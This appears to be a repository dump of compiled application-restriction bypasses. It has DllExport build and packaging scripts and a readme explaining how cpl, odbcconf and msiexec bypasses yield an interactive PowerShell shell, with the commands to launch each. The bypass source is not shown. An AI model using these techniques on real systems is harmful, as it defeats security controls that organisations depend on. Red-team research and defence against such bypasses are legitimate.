tools\ 8 | 9 | System.Runtime.InteropServices 10 | $(DllExportRootPkg)$(DllExportLibPath) 11 | DllExportAttribute 12 | DllExport.dll 13 | $(DllExportLibFullPath)$(DllExportMetaLibName) 14 | true 15 | true 16 | $(DllExportRootPkg)$(DllExportToolsPath)coreclr\ 17 | 18 | 19 | 20 | 21 | $(Platform) 22 | $(PlatformTarget) 23 | $(CpuType) 24 | $(DebugSymbols) 25 | false 26 | $(DllExportTimeout) 27 | $(KeyContainerName)$(AssemblyKeyContainerName) 28 | $(KeyOriginatorFile) 29 | $(MSBuildProjectDirectory) 30 | $(TargetPath) 31 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 32 | $(DevEnvDir)\..\..\VC\bin 33 | $(DevEnvDir) 34 | $(TargetFrameworkVersion) 35 | $(TargetFrameworkSDKToolsDirectory) 36 | $(NoDllExportsForAnyCpu) 37 | 1 38 | false 39 | 40 | 41 | 42 | 65 | 66 | 67 | 68 | 69 | 70 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/nsbin.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set dll=%1 4 | set namespace=%2 5 | set useCecil=%3 6 | 7 | powershell -NonInteractive -NoProfile -NoLogo -Command "& Import-Module \"%~dp0/NSBin.dll\"; Set-DDNS -Dll \"%dll%\" -Namespace \"%namespace%\" -UseCecil $%useCecil% " -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/powershell.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | for %%v in (3, 1, 2, 5, 4) do ( 4 | for /F "usebackq tokens=2* skip=2" %%a in ( 5 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\%%v\PowerShellEngine" /v ApplicationBase 2^> nul` 6 | ) do if exist %%b ( 7 | set powershell="%%b\powershell.exe" 8 | goto found 9 | ) 10 | ) 11 | 12 | echo PowerShell was not found. Trying call 'as is' 13 | powershell %* 14 | 15 | goto exit 16 | 17 | :found 18 | 19 | echo PowerShell path: %powershell% 20 | 21 | %powershell% %* 22 | 23 | 24 | :exit -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $assemblyFName = 'DllExport' 4 | $targetFileName = 'net.r_eg.DllExport.targets' 5 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 6 | $gpc = Get-MBEGlobalProjectCollection 7 | $projects = $gpc.GetLoadedProjects($project.FullName) 8 | 9 | # Configurator 10 | 11 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 12 | # if($dllConf) { 13 | # Import-Module $dllConf; 14 | # } 15 | 16 | Import-Module (Load-Configurator "$toolsPath") 17 | Reset-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 18 | 19 | # 20 | 21 | return $projects | % { 22 | $currentProject = $_ 23 | 24 | $currentProject.Xml.Imports | ? { 25 | $targetFileName -ieq [System.IO.Path]::GetFileName($_.Project) 26 | } | % { 27 | $currentProject.Xml.RemoveChild($_) 28 | } 29 | } -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Background 2 | 3 | All of the C# code in this repository is the work of [Nick Tyrer](https://twitter.com/nicktyrer), I have simply compiled each of the examples for .Net 2 (Win7?) and .Net 4 (Win10?) with some updated libraries. 4 | 5 | The Net 4.0 binaries are compiled against .Net 4.5 as that it the version used by the PowerShell library referenced. 6 | 7 | The original code used the [UnmanagedExports](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) library which is used to binary patch the output files to allow them to provide native exports e.g. like a standard C DLL. I 8 | 9 | I have updated the .Net 4.0 versions to use the [DllExport](https://github.com/3F/DllExport) library which underneath uses the [UnmanagedExports](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) library but appears to be have been updated. The was also the factor that I could not get the [UnmanagedExports](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) library to work with VS2017. 10 | 11 | [Nick Tyrer's](https://twitter.com/nicktyrer) code was originally identified from the blog of [SubTee](https://subt0x10.blogspot.co.uk/), which if you are interested in application blocking bypasses then it should be your first call. 12 | 13 | # Bypasses 14 | 15 | The follows lists the three bypasses that have been compiled. All of the bypasses provide an interactive PowerShell shell. 16 | 17 | ## cpl 18 | 19 | The **Control Panel (cpl)** bypass was from the following GitHub Gist by Nick Tyrer: 20 | 21 | [https://gist.github.com/NickTyrer/b1b9694d909352a9a72d9b82319ca8f4](https://gist.github.com/NickTyrer/b1b9694d909352a9a72d9b82319ca8f4) 22 | 23 | To run the bypass execute the following command. Note the the path to the DLL must be fully qualified: 24 | 25 | ``` 26 | control .\c.dll 27 | ``` 28 | 29 | ## odbcconf 30 | 31 | The following link provides background on the **odbcconf** bypass: 32 | 33 | [https://subt0x10.blogspot.co.uk/2016/10/command-line-camouflage-odbcconfexe.html](https://subt0x10.blogspot.co.uk/2016/10/command-line-camouflage-odbcconfexe.html) 34 | 35 | The **odbcconf** example comes from the following Github Gist by Nick Tyrer: 36 | 37 | [https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b](https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b) 38 | 39 | To run the bypass execute the following command, ensuring that the **file.rst** is in the same location and the DLL file is correctly identified in the file. Note that the DLL cannot be called **odbcconf.dll** as it won't execute!: 40 | 41 | ``` 42 | odbcconf -f file.rsp 43 | ``` 44 | 45 | ## msiexec 46 | 47 | The **msiexec** example comes from the following Github Gist by Nick Tyrer: 48 | 49 | [https://gist.github.com/NickTyrer/9f8cbd5142c4cea63e98da8aac39c874b](https://gist.github.com/NickTyrer/9f8cbd5142c4cea63e98da8aac39c874) 50 | 51 | 52 | To run the bypass execute the following command. Note the the path to the DLL must be fully qualified: 53 | 54 | ``` 55 | msiexec .\m.dll 56 | ``` 57 | 58 | # Links 59 | 60 | - [https://twitter.com/nicktyrer](https://twitter.com/nicktyrer) 61 | - [https://subt0x10.blogspot.co.uk](https://subt0x10.blogspot.co.uk) 62 | - [https://github.com/subTee](https://github.com/subTee) 63 | - [https://github.com/3F/DllExport](https://github.com/3F/DllExport) 64 | - [https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) 65 | - [https://www.nuget.org/packages/DllExport/](https://www.nuget.org/packages/DllExport/) 66 | - [https://www.nuget.org/packages/UnmanagedExports](https://www.nuget.org/packages/UnmanagedExports) -------------------------------------------------------------------------------- /readme.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/readme.pdf --------------------------------------------------------------------------------